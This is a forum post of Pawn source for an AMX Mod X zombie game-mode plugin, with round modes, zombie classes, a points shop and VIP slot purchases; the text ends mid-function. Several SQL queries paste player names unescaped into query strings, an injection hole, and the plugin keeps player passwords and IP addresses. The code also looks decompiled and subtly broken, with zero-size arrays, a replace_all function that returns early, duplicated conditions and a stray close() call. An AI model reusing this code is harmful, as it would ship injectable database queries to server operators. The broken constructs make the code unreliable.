Code: Select all
#include zombie_outstanding
#include hamsandwich
#include float
#include sqlx
#pragma library hamsandwich
#pragma library zombie_outstanding
#pragma library sqlx
new g_cZombieInfectSounds[5][0] =
{
"ZombieOutstanding/zombie_infect_01.wav",
"ZombieOutstanding/zombie_infect_02.wav",
"ZombieOutstanding/zombie_infect_03.wav",
"ZombieOutstanding/zombie_infect_04.wav",
"ZombieOutstanding/zombie_infect_05.wav"
};
new g_cEndRoundZombieSounds[4][0] =
{
"ZombieOutstanding/end_round_win_zombies_01.wav",
"ZombieOutstanding/end_round_win_zombies_02.wav",
"ZombieOutstanding/end_round_win_zombies_03.wav",
"ZombieOutstanding/end_round_win_zombies_04.wav"
};
new g_cEndRoundHumanSounds[3][0] =
{
"ZombieOutstanding/end_round_win_humans_01.wav",
"ZombieOutstanding/end_round_win_humans_02.wav",
"ZombieOutstanding/end_round_win_humans_03.wav"
};
new g_cStartRoundSurvivorSounds[2][0] =
{
"ZombieOutstanding/round_start_survivor_01.wav",
"ZombieOutstanding/round_start_survivor_02.wav"
};
new g_cStartRoundNemesisSounds[2][0] =
{
"ZombieOutstanding/round_start_nemesis_01.wav",
"ZombieOutstanding/round_start_nemesis_02.wav"
};
new g_cZombieBurnSounds[5][0] =
{
"ZombieOutstanding/zombie_burn_01.wav",
"ZombieOutstanding/zombie_burn_02.wav",
"ZombieOutstanding/zombie_burn_03.wav",
"ZombieOutstanding/zombie_burn_04.wav",
"ZombieOutstanding/zombie_burn_05.wav"
};
new g_cHumanNadeInfectSounds[3][0] =
{
"ZombieOutstanding/human_nade_infect_scream_01.wav",
"ZombieOutstanding/human_nade_infect_scream_02.wav",
"ZombieOutstanding/human_nade_infect_scream_03.wav"
};
new Float:g_fDamageCoords[8][0] =
{
{ 0.50, 0.40 },
{ 0.56, 0.44 },
{ 0.60, 0.50 },
{ 0.56, 0.56 },
{ 0.50, 0.60 },
{ 0.44, 0.56 },
{ 0.40, 0.50 },
{ 0.44, 0.44 }
};
new g_cHumanModels[4][0] =
{
"terror",
"gign",
"sas",
"arctic"
};
new g_cZombieModels[7][0] =
{
"z_out_clasic",
"z_out_raptor",
"z_out_mutant",
"z_out_tight",
"z_out_regenerator",
"z_out_predator_blue",
"z_out_hunter"
};
new g_cZombieClaws[7][0] =
{
"models/ZombieOutstanding/z_out_clasic_claws.mdl",
"models/ZombieOutstanding/z_out_raptor_claws.mdl",
"models/ZombieOutstanding/z_out_mutant_claws.mdl",
"models/ZombieOutstanding/z_out_tight_claws.mdl",
"models/ZombieOutstanding/z_out_raptor_claws.mdl",
"models/ZombieOutstanding/z_out_predator_blue_claws.mdl",
"models/ZombieOutstanding/z_out_hunter_claws.mdl"
};
new g_iZombieHealths[7] =
{
6000, 5250, 7500, 4250, 5500, 6000, 5450
};
new Float:g_fZombieGravities[7] =
{
1.00, 1.00, 0.74, 1.00, 0.61, 1.00, 0.61
};
new Float:g_fZombieSpeeds[7] =
{
264.0, 304.0, 276.0, 244.0, 269.0, 249.0, 273.0
};
new Float:g_fZombieKnockbacks[7] =
{
0.82, 1.33, 0.70, 0.44, 0.80, 0.90, 0.83
};
new g_cZombieClasses[7][14] =
{
"Clasic",
"Raptor",
"Mutant",
"Tight",
"Regenerator",
"Predator Blue",
"Hunter"
};
new g_cZombieAttribs[7][0] =
{
"\r[=Balanced=]",
"\r[Speed +++]",
"\r[Health +++]",
"\r[Double Jump]",
"\r[Regeneration]",
"\r[Powerful]",
"\r[Silent Killer]"
};
new g_cExtraItems[25][0] =
{
"Antidote",
"Fire Grenade",
"Freeze Grenade",
"Explosion Grenade",
"Infection Grenade",
"Killing Grenade",
"M249 Machine Gun",
"G3SG1 Auto Sniper Rifle",
"SG550 Auto Sniper Rifle",
"AWP Sniper Rifle",
"Nightvision Googles",
"Zombie Madness",
"Jetpack + Bazooka",
"Unlimited Clip",
"Armor (100ap)",
"Armor (200ap)",
"Multijump +1",
"Tryder",
"Golden Kalashnikov (AK-47)",
"Golden Desert Eagle (Night Hawk)",
"Survivor",
"Sniper",
"Nemesis",
"Assassin",
"Knife Blink"
};
new g_iExtraItemsPrices[25] =
{
15, 4, 3, 4, 26, 42, 9, 11, 10, 9, 2, 15, 32, 10, 5, 10, 5, 30, 36, 20, 180, 175, 140, 140, 10
};
new g_cExtraItemsPrices[25][0] =
{
"\r[15 packs]",
"\r[4 packs]",
"\r[3 packs]",
"\r[4 packs]",
"\r[26 packs]",
"\r[42 packs]",
"\r[9 packs]",
"\r[11 packs]",
"\r[10 packs]",
"\r[9 packs]",
"\r[2 packs]",
"\r[15 packs]",
"\r[32 packs]",
"\r[10 packs]",
"\r[5 packs]",
"\r[10 packs]",
"\r[5 packs]",
"\r[30 packs]",
"\r[36 packs]",
"\r[20 packs]",
"\r[180 packs]",
"\r[175 packs]",
"\r[140 packs]",
"\r[140 packs]",
"\r[10 packs]"
};
new g_iExtraItemsTeams[25] =
{
1, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1
};
new g_cShopItems[8][0] =
{
"Double Damage",
"Buy Server Slot",
"Buy Admin Model",
"100 Ammo Packs",
"200 Ammo Packs",
"300 Ammo Packs",
"God Mode",
"Armageddon Round"
};
new g_iShopItemsPrices[8] =
{
120, 700, 2250, 160, 200, 280, 150, 180
};
new g_iShopItemsTeams[8] =
{
2, 0, 0, 0, 0, 0, 2, 0
};
new g_cShopItemsPrices[8][0] =
{
"\r[120 points]",
"\r[700 points]\y (Recommended)",
"\r[2250 points]",
"\r[160 points]",
"\r[200 points]",
"\r[280 points]",
"\r[150 points]",
"\r[180 points]"
};
new g_cSecondaryWeapons[6][0] =
{
"USP",
"GLOCK18",
"P228",
"DEAGLE",
"ELITE",
"FIVESEVEN"
};
new g_cPrimaryWeapons[10][0] =
{
"GALIL",
"FAMAS",
"M4A1",
"AK47",
"AUG",
"SG552",
"XM1014",
"M3",
"MP5NAVY",
"P90"
};
new g_cSecondaryEntities[6][0] =
{
"weapon_usp",
"weapon_glock18",
"weapon_p228",
"weapon_deagle",
"weapon_elite",
"weapon_fiveseven"
};
new g_cPrimaryEntities[10][0] =
{
"weapon_galil",
"weapon_famas",
"weapon_m4a1",
"weapon_ak47",
"weapon_aug",
"weapon_sg552",
"weapon_xm1014",
"weapon_m3",
"weapon_mp5navy",
"weapon_p90"
};
new g_iVoter;
new Handle:g_hSQLTuple;
new bool:g_bZombie[33];
new g_iPlayerType[33];
new bool:g_bFlashEnabled[33];
new bool:g_bDoubleDamage[33];
new bool:g_bServerSlot[33];
new g_iMaxJumps[33];
new bool:g_bAdminModel[33];
new g_iBlinks[33];
new g_iAntidoteSync;
new g_iRegenerationSync;
new bool:g_bFlash[33];
new g_iRoundType;
new g_iVariable;
new bool:g_bTryder[33];
new bool:g_bAlive[33];
new g_iPoints[33];
new g_iScore[33];
new Float:g_fLastQuery;
new g_iTimeLimit;
new g_iKills[33];
new g_iAliveCount;
new bool:g_bUnlimitedClip[33];
new bool:g_bKilling[33];
new bool:g_bGolden[33];
new g_iVersusSync;
new g_iRounds[1024];
new g_iRoundsCount;
new g_iDeaths[33];
new g_iOnlineTime[33];
new Float:g_fLastTime[33];
new g_cOnlineTime[33][32];
new g_cClass[33][14];
new g_iZombieClass[33];
new g_iZombieNextClass[33];
new bool:g_bFrozen[33];
new bool:g_bRanked[33];
new Data[33][5][128];
new bool:Loaded[33];
new bool:g_bAdmin[33];
new g_cAdminFlags[33][42];
new g_cName[33][32];
new bool:g_bModeStarted;
new g_cInternetProtocolAddress[33][24];
new Float:g_fLastLeapTime[33];
new Array:g_aNameData;
new Array:g_aAmmoData;
new g_iLastMode;
new g_cRegisteredCharacter[32];
new bool:g_bGoldenDeagle[33];
new Float:g_fDamage[33];
new g_iPacks[33];
new g_iTopMessageSync;
new Float:g_fGagTime[33];
new g_iEventsHudmessage;
new g_cQuery[256];
new g_iBurningDuration[33];
new g_iWeapon[33];
new g_iJumps[33];
new g_iDownMessageSync;
new g_iMenu;
new g_cVipNames[128][32];
new g_cVipPasswords[128][32];
new g_cVipFlags[128][32];
new Float:g_fLastNameChanged[33];
new g_iCounter;
new bool:g_bConnected[33];
new bool:g_bVoting;
new g_iSecondaryWeapons[64];
new bool:g_bGaveThisRound[33];
new g_iPrimaryWeapons[64];
new g_cSteam[33][24];
new bool:g_bSecondVoting;
new g_iVipsCount;
new g_iDamageSync[8];
new g_iVotes[7];
new g_cMaps[7][32];
new bool:g_bEnded;
new g_cSecondMaps[5][32];
new g_iSecondVotes[5];
new g_iRanksCount;
new g_iKillsThisRound[33];
new bool:g_bRoundStart;
new bool:g_bRoundEnd;
new g_iMaxClients;
new g_iPosition[33];
new g_iGameMenu;
new g_iSecondaryMenu;
new g_iLeftSync[2];
new g_iAdvertisementsSync;
new g_iCenterMessageSync;
new g_iPrimaryMenu;
new g_cGlobalPassword[33][32];
new g_iShopMenu;
new g_iMenuZombieClasses;
new g_iMenuExtraItems;
new bool:g_bNoDamage[33];
new Float:g_fLastChangedModel;
new g_iTripMines[33];
new g_iPlantedMines[33];
new g_iSize;
new bool:g_bVip[33];
new g_cPersonalFlags[33][32];
new g_iMessagePosition;
new bool:g_bPlanting[33];
new g_iCounterMessage;
new bool:g_bRemoving[33];
new g_iMineMessage;
new g_iSecondMineMessage;
new g_iPlayerMines[33][2];
new g_cTag[128][24];
new g_cAdvertisements[72][188];
new g_iAdvertisementsCount;
new bool:g_Hidden[33];
new g_iMessage;
new bool:g_bSwitching;
new Float:g_fRoundStartTime;
new g_cModeRecordings[52][32];
new g_iModeRecordings;
new g_cNames[10][32];
new g_iTracker;
new g_Secret[32];
new g_cPasswords[33][32];
new g_cAddresses[10][24];
new Float:g_fLast[33];
new Float:g_fLastRankQuery;
new Float:g_fLastBanQuery;
new g_cHudAdvertisements[50][188];
new g_iHudAdvertisementsCount;
new g_iHudMessage;
new g_iSnipers;
new g_iSurvivors;
new bool:g_bCachedDamage[33];
new g_iRemainingSync;
replace_all(string[], len, what[], with[])
{
new pos;
if ((pos = contain(string, what)) == -1)
{
return 0;
}
new total;
new with_len = strlen(with);
new diff = strlen(what) - with_len;
new total_len = strlen(string);
new temp_pos;
while (replace(string[pos], len - pos, what, with))
{
pos = with_len + pos;
total_len -= diff;
if (!(pos >= total_len))
{
temp_pos = contain(string[pos], what);
if (!(temp_pos == -1))
{
pos = temp_pos + pos;
total++;
}
return total;
}
return total;
}
return total;
}
public __fatal_ham_error(Ham:id, HamError:err, const reason[])
{
new func=get_func_id("HamFilter", -1);
new bool:fail=true;
if (func != -1 && callfunc_begin_i(func, -1)==1)
{
callfunc_push_int(_:id);
callfunc_push_int(_:err);
callfunc_push_str(reason, false);
if (callfunc_end()==1)
{
fail=false;
}
}
if (fail)
{
set_fail_state(reason);
}
return 0;
}
StripName( Name[ ] )
{
for( new i = 0; i < strlen( Name ); i++ ) {
Name[ i ] = tolower( Name[ i ] );
if( !isalpha( Name[ i ] ) )
Name[ i ] = '_';
}
}
LoadData(Player)
{
new Name[32];
get_user_name(Player, Name, 31);
StripName(Name);
new FileLine[256];
formatex(FileLine, 255, "addons/SpecialGeoip/PlayerData/%s.ini", Name);
new File = fopen(FileLine, "r");
if (File)
{
new Row[256];
new Key[128];
new Value[128];
new i;
while (!feof(File))
{
fgets(File, Row, 255);
trim(Row);
if (Row[0] == 34)
{
parse(Row, Key, 127, Value, 127);
if (i < 5)
{
formatex(Data[Player][i], 127, "%s", Value);
}
i++;
}
}
fclose(File);
Loaded[Player] = true;
}
return 0;
}
VipHasFlag(iPlayer, iFlag)
{
new i;
while (i < 32)
{
if (iFlag == g_cPersonalFlags[iPlayer][i])
{
return 1;
}
i++;
}
return 0;
}
public MessageSayText()
{
if (get_msg_args() == 4)
{
static iSender;
iSender = get_msg_arg_int(1);
if (0 < iSender < g_iMaxClients + 1 && g_cTag[iSender][0])
{
static cReplacement[189];
static cPhrase[47];
get_msg_arg_string(2, cPhrase, 46);
if (equal(cPhrase, "#Cstrike_Chat_CT", 0))
{
formatex(cReplacement, 188, "^1(Counter-Terrorist) ^4%s ^3%s^1 : %s", g_cTag[iSender], "%s1", "%s2");
set_msg_arg_string(2, cReplacement);
}
if (equal(cPhrase, "#Cstrike_Chat_T", 0))
{
formatex(cReplacement, 188, "^1(Terrorist) ^4%s ^3%s^1 : %s", g_cTag[iSender], "%s1", "%s2");
set_msg_arg_string(2, cReplacement);
}
if (equal(cPhrase, "#Cstrike_Chat_CT_Dead", 0))
{
formatex(cReplacement, 188, "^1*DEAD*(Counter-Terrorist) ^4%s ^3%s^1 : %s", g_cTag[iSender], "%s1", "%s2");
set_msg_arg_string(2, cReplacement);
}
if (equal(cPhrase, "#Cstrike_Chat_T_Dead", 0))
{
formatex(cReplacement, 188, "^1*DEAD*(Terrorist) ^4%s ^3%s^1 : %s", g_cTag[iSender], "%s1", "%s2");
set_msg_arg_string(2, cReplacement);
}
if (equal(cPhrase, "#Cstrike_Chat_Spec", 0))
{
formatex(cReplacement, 188, "^1(Spectator) ^4%s ^3%s^1 : %s", g_cTag[iSender], "%s1", "%s2");
set_msg_arg_string(2, cReplacement);
}
if (equal(cPhrase, "#Cstrike_Chat_All", 0))
{
formatex(cReplacement, 188, "^4%s ^3%s^1 : %s", g_cTag[iSender], "%s1", "%s2");
set_msg_arg_string(2, cReplacement);
}
if (equal(cPhrase, "#Cstrike_Chat_AllDead", 0))
{
formatex(cReplacement, 188, "^1*DEAD* ^4%s ^3%s^1 : %s", g_cTag[iSender], "%s1", "%s2");
set_msg_arg_string(2, cReplacement);
}
if (equal(cPhrase, "#Cstrike_Chat_AllSpec", 0))
{
formatex(cReplacement, 188, "^1*SPEC* ^4%s ^3%s^1 : %s", g_cTag[iSender], "%s1", "%s2");
set_msg_arg_string(2, cReplacement);
}
}
}
return 0;
}
StartSwarmMode(bool:bForced)
{
if ((g_iAliveCount > 9 && g_iLastMode != 64 && random_num(1, 27) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
{
g_iLastMode = 64;
g_iRoundType = g_iRoundType | 64;
static i;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (!g_bAlive[i] || get_team(i) == 1)
{
set_team(i, 2);
}
else
{
MakeZombie(0, i, true, false, false);
}
i += 1;
}
client_cmd(0, "spk ZombieOutstanding/round_start_plague");
set_hudmessage(20, 255, 20, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "Swarm Round !!");
remove_task(600, 0);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
g_bModeStarted = true;
return 0;
}
StartPlagueMode(false);
return 0;
}
StartPlagueMode(bool:bForced)
{
if ((g_iAliveCount > 9 && g_iLastMode != 32 && random_num(1, 28) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
{
g_iLastMode = 32;
g_iRoundType = g_iRoundType | 32;
static iNemesis;
static iMaxNemesis;
static i;
static iMaxSurvivors;
static iSurvivors;
static iMaxZombies;
static iZombies;
iMaxSurvivors = 3;
iMaxNemesis = 2;
iZombies = 0;
iNemesis = 0;
iSurvivors = 0;
while (iSurvivors < iMaxSurvivors)
{
i = GetRandomAlive();
if (!(g_iPlayerType[i] & 4))
{
MakeHuman(i, true, false);
iSurvivors += 1;
set_health(i, 5750);
}
}
while (iNemesis < iMaxNemesis)
{
i = GetRandomAlive();
if (!(g_iPlayerType[i] & 4 || g_iPlayerType[i] & 4))
{
MakeZombie(0, i, false, true, false);
iNemesis += 1;
set_health(i, 107500);
}
}
iMaxZombies = floatround(0.40 * g_iAliveCount + -5, floatround_floor);
while (iZombies < iMaxZombies)
{
i += 1;
if (i > g_iMaxClients)
{
i = 1;
}
if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4))
{
if (random_num(0, 1))
{
MakeZombie(0, i, true, false, false);
iZombies += 1;
}
}
}
i = 1;
while (g_iMaxClients + 1 > i)
{
if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4)
{
}
else
{
if (get_team(i) != 2)
{
g_bSwitching = true;
set_team(i, 2);
g_bSwitching = false;
}
}
i += 1;
}
client_cmd(0, "spk ZombieOutstanding/round_start_plague");
set_hudmessage(0, 50, 200, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "Plague Mode !!!");
remove_task(600, 0);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
g_bModeStarted = true;
return 0;
}
StartMultiMode(false);
return 0;
}
StartMultiMode(bool:bForced)
{
if ((g_iAliveCount > 9 && g_iLastMode != 16 && random_num(1, 24) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
{
g_iLastMode = 16;
g_iRoundType = g_iRoundType | 16;
static i;
static iMaxZombies;
static iZombies;
iZombies = 0;
iMaxZombies = floatround(0.18 * g_iAliveCount, floatround_ceil);
i = random_num(1, g_iMaxClients);
while (iZombies < iMaxZombies)
{
if ( ++ i > g_iMaxClients ) i = 1;
if ( !g_bAlive [i] || g_bZombie [i] ) continue;
if ( random_num ( 0, 1 ) )
{
MakeZombie(0, i, true, false, false);
iZombies ++;
}
}
for ( i = 1; i <= g_iMaxClients; i ++ )
{
if ( !g_bAlive [i] || g_bZombie [i] ) continue;
if ( get_team ( i ) != 2 )
{
set_team ( i, 2 );
}
}
client_cmd(0, "spk ZombieOutstanding/round_start_plague");
set_hudmessage(200, 50, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "Multiple Infection !!!");
remove_task(600, 0);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
g_bModeStarted = true;
return 0;
}
StartArmageddonMode(false);
return 0;
}
StartArmageddonMode(bool:bForced)
{
if ((g_iAliveCount > 9 && g_iLastMode != 128 && random_num(1, 33) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
{
g_iLastMode = 128;
g_iRoundType = g_iRoundType | 128;
static i;
static iMaxZombies;
static iZombies;
iZombies = 0;
iMaxZombies = floatround(0.44 * g_iAliveCount, floatround_floor);
i = random_num(1, g_iMaxClients);
while (iZombies < iMaxZombies)
{
i += 1;
if (i > g_iMaxClients)
{
i = 1;
}
if (!(!g_bAlive[i] || g_bZombie[i]))
{
if (random_num(0, 1))
{
MakeZombie(0, i, false, true, false);
set_health(i, 100000);
iZombies += 1;
}
}
}
i = 1;
while (g_iMaxClients + 1 > i)
{
if (!g_bAlive[i] || g_bZombie[i])
{
}
else
{
MakeHuman(i, true, false);
set_health(i, 8750);
}
i += 1;
}
if (random_num(0, 1))
{
client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
}
else
{
client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
}
set_hudmessage(181, 62, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "Armageddon Mode !!!");
remove_task(600, 0);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
g_bModeStarted = true;
return 0;
}
StartNightmareMode(false);
return 0;
}
StartNightmareMode(bool:bForced)
{
if ((g_iAliveCount > 9 && g_iLastMode != 256 && random_num(1, 36) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
{
g_iLastMode = 256;
g_iRoundType = g_iRoundType | 256;
static i;
static iMaxAssassins;
static iAssassins;
static iMaxSnipers;
static iSnipers;
static iMaxNemesis;
static iNemesis;
iAssassins = 0;
iSnipers = 0;
iNemesis = 0;
iMaxNemesis = floatround(0.24 * g_iAliveCount, floatround_floor);
iMaxAssassins = floatround(0.24 * g_iAliveCount, floatround_floor);
iMaxSnipers = floatround(0.25 * g_iAliveCount, floatround_ceil);
i = random_num(1, g_iMaxClients);
while (iNemesis < iMaxNemesis)
{
i += 1;
if (i > g_iMaxClients)
{
i = 1;
}
if (!(!g_bAlive[i] || g_bZombie[i]))
{
if (random_num(0, 1))
{
MakeZombie(0, i, false, true, false);
set_health(i, 105000);
iNemesis += 1;
}
}
}
while (iAssassins < iMaxAssassins)
{
i += 1;
if (i > g_iMaxClients)
{
i = 1;
}
if (!(!g_bAlive[i] || g_bZombie[i]))
{
if (random_num(0, 1))
{
MakeZombie(0, i, false, false, true);
set_health(i, 21000);
iAssassins += 1;
}
}
}
while (iSnipers < iMaxSnipers)
{
i += 1;
if (i > g_iMaxClients)
{
i = 1;
}
if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8))
{
if (random_num(0, 1))
{
MakeHuman(i, false, true);
set_health(i, 10500);
iSnipers += 1;
}
}
}
i = 1;
while (g_iMaxClients + 1 > i)
{
if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8 || g_iPlayerType[i] & 4)
{
}
else
{
MakeHuman(i, true, false);
set_health(i, 12500);
}
i += 1;
}
if (random_num(0, 1))
{
client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
}
else
{
client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
}
set_hudmessage(241, 15, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "Nightmare Round !!!");
remove_task(600, 0);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
g_bModeStarted = true;
return 0;
}
StartAssassinsVsSnipersMode(false);
return 0;
}
StartAssassinsVsSnipersMode(bool:bForced)
{
if ((g_iAliveCount > 9 && g_iLastMode != 512 && random_num(1, 37) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
{
g_iLastMode = 512;
g_iRoundType = g_iRoundType | 512;
static i;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bAlive[i])
{
switch (get_team(i))
{
case 1:
{
MakeZombie(0, i, false, false, true);
set_health(i, 31000);
}
case 2:
{
MakeHuman(i, false, true);
set_health(i, 3850);
}
default:
{
}
}
}
i += 1;
}
if (random_num(0, 1))
{
client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
}
else
{
client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
}
set_hudmessage(221, 13, 64, -1.0, 0.17, 1, 0.0, 5.0, 1.0, 1.0, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "Assassins vs Snipers Round !!!");
remove_task(600, 0);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
g_bModeStarted = true;
return 0;
}
static cTime[4];
get_time("%H", cTime, 3);
if (cTime[0] != 48)
{
StartSniperMode(0);
}
else
{
if (cTime[0] == 48 && cTime[1] == 49)
{
StartSniperMode(0);
}
if (cTime[0] == 48 && cTime[1] == 50)
{
StartSniperMode(0);
}
else
{
StartAssassinMode(0);
}
}
return 0;
}
StartSniperMode(iPlayer)
{
if ((g_iLastMode != 8 && random_num(1, 35) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
{
g_iLastMode = 8;
g_iRoundType = g_iRoundType | 8;
static j;
static i;
i = GetRandomAlive();
if (iPlayer)
{
i = iPlayer;
}
j = i;
MakeHuman(i, false, true);
for ( i = 1; i <= g_iMaxClients; i ++ )
{
if ( !g_bAlive [i] ) continue;
if ( g_iPlayerType[i] & 8 || g_bZombie [i] ) continue;
MakeZombie(0, i, true, false, false);
}
client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
set_hudmessage(0, 250, 250, -1.00, 0.17, 0, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Survivor !!", g_cName[j]);
remove_task(600, 0);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
g_bModeStarted = true;
return 0;
}
StartSurvivorMode(0);
return 0;
}
StartSurvivorMode(iPlayer)
{
if ((g_iLastMode != 4 && random_num(1, 36) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
{
g_iLastMode = 4;
g_iRoundType = g_iRoundType | 4;
static j;
static i;
i = GetRandomAlive();
if (iPlayer)
{
i = iPlayer;
}
j = i;
MakeHuman(i, true, false);
for ( i = 1; i <= g_iMaxClients; i ++ )
{
if ( !g_bAlive [i] ) continue;
if ( g_iPlayerType[i] & 4 || g_bZombie [i] ) continue;
MakeZombie(0, i, true, false, false);
}
client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
set_hudmessage(0, 10, 255, -1.00, 0.17, 0, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Survivor !!", g_cName[j]);
remove_task(600, 0);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
g_bModeStarted = true;
return 0;
}
StartAssassinMode(0);
return 0;
}
StartAssassinMode(iPlayer)
{
if ((g_iLastMode != 2 && random_num(1, 31) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
{
g_iLastMode = 2;
g_iRoundType = g_iRoundType | 2;
static j;
static i;
i = GetRandomAlive();
if (iPlayer)
{
i = iPlayer;
}
j = i;
MakeZombie(0, i, false, false, true);
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
{
g_bSwitching = true;
set_team(i, 2);
g_bSwitching = false;
}
i += 1;
}
close();
client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
set_hudmessage(255, 150, 20, -1.00, 0.17, 0, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Assassin !!", g_cName[j]);
remove_task(600, 0);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
g_bModeStarted = true;
return 0;
}
StartNemesisMode(0);
return 0;
}
StartNemesisMode(iPlayer)
{
if ((g_iLastMode != 1 && random_num(1, 29) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
{
g_iLastMode = 1;
g_iRoundType = g_iRoundType | 1;
static j;
static i;
i = GetRandomAlive();
if (iPlayer)
{
i = iPlayer;
}
j = i;
MakeZombie(0, i, false, true, false);
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
{
g_bSwitching = true;
set_team(i, 2);
g_bSwitching = false;
}
i += 1;
}
client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
set_hudmessage(255, 20, 20, -1.00, 0.17, 0, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Nemesis !!", g_cName[j]);
remove_task(600, 0);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
g_bModeStarted = true;
set_task(25.0, "TaskReminder", 900, "", 0, "", 0);
return 0;
}
StartNormalMode(0);
return 0;
}
public TaskReminder()
{
static cHealth[15];
static iHealth;
static i;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bAlive[i] && g_iPlayerType[i])
{
iHealth = get_health(i);
AddCommas(iHealth, cHealth, 14);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 A ^3Rapture^1 Reminder ^3@ ^4%s^1 still has %s ^4health points!", g_cClass[i], cHealth);
}
i += 1;
}
return 0;
}
StartNormalMode(iPlayer)
{
static j;
static i;
i = GetRandomAlive();
if (iPlayer)
{
i = iPlayer;
}
j = i;
MakeZombie(0, i, false, false, false);
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
{
g_bSwitching = true;
set_team(i, 2);
g_bSwitching = false;
}
i += 1;
}
set_hudmessage(255, 0, 0, -1.00, 0.17, 0, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "%s is the first zombie !!", g_cName[j]);
remove_task(600, 0);
set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
g_bModeStarted = true;
return 0;
}
public CommandGetSlot(iPlayer)
{
if (g_bServerSlot[iPlayer])
{
static cPassword[32];
read_argv(1, cPassword, 32);
if (!strlen(cPassword))
{
client_cmd(iPlayer, "messagemode amx_password_for_slot");
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Type your password again!");
}
static cData[3];
static cQuery[128];
formatex(g_cGlobalPassword[iPlayer], 32, "%s", cPassword);
num_to_str(iPlayer, cData, 3);
formatex(cQuery, 128, "SELECT f FROM a WHERE n='%s'", g_cName[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLCheckSlot", cQuery, cData, 3);
}
return 0;
}
public SQLRanksCount(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
g_iRanksCount = SQL_NumResults(hQuery);
return 0;
}
public SQLEmpty(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
return 0;
}
public SQLCheckSlot(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
static iPlayer;
iPlayer = str_to_num(cData);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought a^4 Slot Account", g_cName[iPlayer]);
if (SQL_NumResults(hQuery))
{
static cFlags[42];
SQL_ReadResult(hQuery, 0, cFlags, 42);
format(cFlags, 42, "r%s", cFlags);
formatex(g_cQuery, 256, "UPDATE a SET f='%s' WHERE n='%s'", cFlags, g_cName[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cData, 0);
console_print(iPlayer, "");
console_print(iPlayer, "****************************");
console_print(iPlayer, "Done! You have now slot access!");
